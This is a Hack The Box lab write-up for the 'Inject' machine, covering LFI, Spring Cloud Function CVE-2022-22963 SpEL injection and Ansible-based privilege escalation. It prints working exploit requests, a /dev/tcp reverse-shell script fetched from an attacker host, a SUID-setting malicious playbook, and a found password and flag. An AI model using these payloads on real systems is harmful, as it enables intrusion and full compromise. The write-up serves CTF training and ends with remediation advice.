root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat inject.md
// writeups

Inject

11 Mar 2023 · 10 min read
Inject - maquina de Hack The Box

Executive summary — Inject is a well-rounded Easy Linux box. A Spring image-upload app exposes an LFI (/show_image?img=) that lets us read /etc/passwd and the project's pom.xml, uncovering Spring Cloud Function 3.2.2, vulnerable to CVE-2022-22963 (SpEL injection). That gives RCE as frank; an XML file in their home with cleartext credentials leads to phil. Finally, an automated root task runs Ansible playbooks from a directory writable by the staff group (which phil belongs to): we drop a malicious playbook that sets the SUID bit on bash and get root. Path: LFI → SpEL RCE → frank → phil → Ansible → root.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.228.213

Attack map

[8080] Spring app → /upload → /show_image?img=.. → LFI (path traversal)
   │  read /etc/passwd (frank, phil) → pom.xml → Spring Cloud Function 3.2.2
   ▼
[RCE]  CVE-2022-22963 (SpEL in header spring.cloud.function.routing-expression)
   ▼
[SHELL]  frank → XML with creds → su phil  (user.txt)
   │  ps aux → root-run ansible-parallel task in /opt/automation/tasks
   │  directory drwxrwxr-x, group staff (phil is a member) → group-writable
   ▼
[ROOT]  malicious playbook (chmod +s /bin/bash) → bash -p → root.txt

1. Reconnaissance

nmap -sVC 10.129.228.213
22/tcp   ssh
8080/tcp http

The interesting port is 8080. Opening http://10.129.228.213:8080 in the browser shows an application with two relevant sections:

Blogs
Upload

The /upload section lets us upload a file and then view it back — usually fertile ground for file-handling vulnerabilities.

2. LFI (Local File Inclusion)

We upload any image via /upload and watch how the app loads it back: it uses a path parameter to display it. An LFI (Local File Inclusion) lets us read local files on the server when the app doesn't properly validate that path. We try path traversal against /etc/passwd:

curl 'http://10.129.228.213:8080/show_image?img=../../../../../../etc/passwd'

It works, and the output reveals two local users that aren't part of the base system:

frank
phil

Why it matters: it confirms the box has real users we'll likely need later for lateral movement or privilege escalation.

Using the same LFI, we look for typical Java/Maven project files and find /var/www/WebApp/pom.xml. A pom.xml is Maven's dependency manifest: it tells us exactly which frameworks and versions the app uses.

curl 'http://10.129.228.213:8080/show_image?img=../../../../../var/www/WebApp/pom.xml'

The pom.xml reveals the app uses Spring Cloud Function at a version vulnerable to CVE-2022-22963, which allows remote code execution via a malicious HTTP header.

3. Staging the reverse shell and listener

Before exploiting the RCE, we prepare on our Kali box the reverse-shell script the victim will download and run:

cat > shell.sh <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1
EOF
chmod +x shell.sh

We serve the file over HTTP (port 80 may need special privileges or be busy, hence 8000) and leave a netcat listener waiting for the connection:

python3 -m http.server 8000
nc -lvnp 4444

4. RCE — CVE-2022-22963 (SpEL)

CVE-2022-22963 affects Spring Cloud Function: the spring.cloud.function.routing-expression header is evaluated as SpEL (Spring Expression Language) without restriction, allowing arbitrary command execution. We send the payload to the /functionRouter endpoint so the victim downloads our reverse shell:

curl -i -s -k -X POST \
  -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://<ATTACKER_IP>:8000/shell.sh -o /tmp/revshell.sh")' \
  --data-binary 'exploit_poc' \
  'http://10.129.228.213:8080/functionRouter'

On the HTTP server we see a GET /shell.sh request, confirming the victim fetched the file. We repeat the same technique to make it executable and then run it:

curl -X POST http://10.129.228.213:8080/functionRouter \
  -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("chmod +x /tmp/revshell.sh")' \
  --data-raw 'data' -v
curl -X POST http://10.129.228.213:8080/functionRouter \
  -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/revshell.sh")' \
  --data-raw 'data' -v

On the listener we catch the connection and confirm the user:

whoami
frank

The initial shell has no TTY, so we stabilise it with the usual pty.spawn trick:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z, then on Kali:
stty raw -echo; fg
# hit Enter a couple times, then:
export TERM=xterm
stty rows 40 columns 120

5. Escalation — from frank to phil

We look for config files in user home directories that might hold credentials:

find /home -name "*.xml" 2>/dev/null

One of the XML files found in frank's home contains phil's password in cleartext:

DocPhillovestoInject123
su phil
whoami
phil

As phil, we read the user flag:

cat ~/user.txt
a0894671c7842a6b2b92c183a4cfedf4

6. Escalating to root — Ansible automation

We look for processes running with root privileges and find an Ansible task in progress:

ps aux | grep ansible
/usr/bin/python3 /usr/local/bin/ansible-parallel /opt/automation/tasks/playbook_1.yml

Why it matters: root periodically runs Ansible playbooks from /opt/automation/tasks. If that directory is writable by us, any .yml file we drop there gets executed with root privileges.

We check the directory's permissions:

ls -la /opt/automation/tasks
drwxrwxr-x 2 root staff 4096 ...
-rw-r--r-- 1 root root 150 playbook_1.yml

The directory belongs to the staff group and is group-writable (drwxrwxr-x). Since phil is a member of staff, we can write inside it. The existing playbook just checks a service:

cat /opt/automation/tasks/playbook_1.yml
- hosts: localhost
  tasks:
  - name: Checking webapp service
    ansible.builtin.systemd:
      name: webapp
      enabled: yes
      state: started

7. PrivEsc — malicious playbook

We create our own playbook that sets the SUID bit on /bin/bash. With become: true it runs with elevated privileges inside the playbook itself (the Ansible process already runs as root):

cat > playbook_3.yml <<'EOF'
- hosts: localhost
  tasks:
    - name: Privilege Escalation
      ansible.builtin.shell: |
        chmod +s /bin/bash
      become: true
EOF

We serve it over HTTP from Kali and download it on the victim, inside the tasks directory:

python3 -m http.server 8000
# on the victim, as phil:
cd /opt/automation/tasks
wget http://<ATTACKER_IP>:8000/playbook_3.yml

We wait for Ansible's automated task to pick up the new file (about a minute) and check bash's permissions:

ls -l /bin/bash
# before: -rwxr-xr-x 1 root root ...
# after:  -rwsr-sr-x 1 root root ...

The s confirms SUID is set. We get a shell with root's effective privileges and read the final flag:

bash -p
whoami
root
cat /root/root.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
Info/show_image?img=LFI (path traversal)Read /etc/passwd, pom.xml and system files
RCESpring Cloud Function 3.2.2CVE-2022-22963 (SpEL injection)Shell as frank
LateralXML in frank's homeCleartext credentialsUser phil
PrivEsc/opt/automation/tasks (Ansible)Directory writable by the staff group, run by rootRoot

Lessons learned

  • Validate file paths: never let user input form a path without canonicalising it (LFI).
  • Update Spring: CVE-2022-22963 is fixed in Spring Cloud Function 3.1.7 / 3.2.3.
  • Don't store credentials in cleartext in config files reachable by other users.
  • Group permissions in automation: playbook/script directories run by root must never be writable by regular user groups.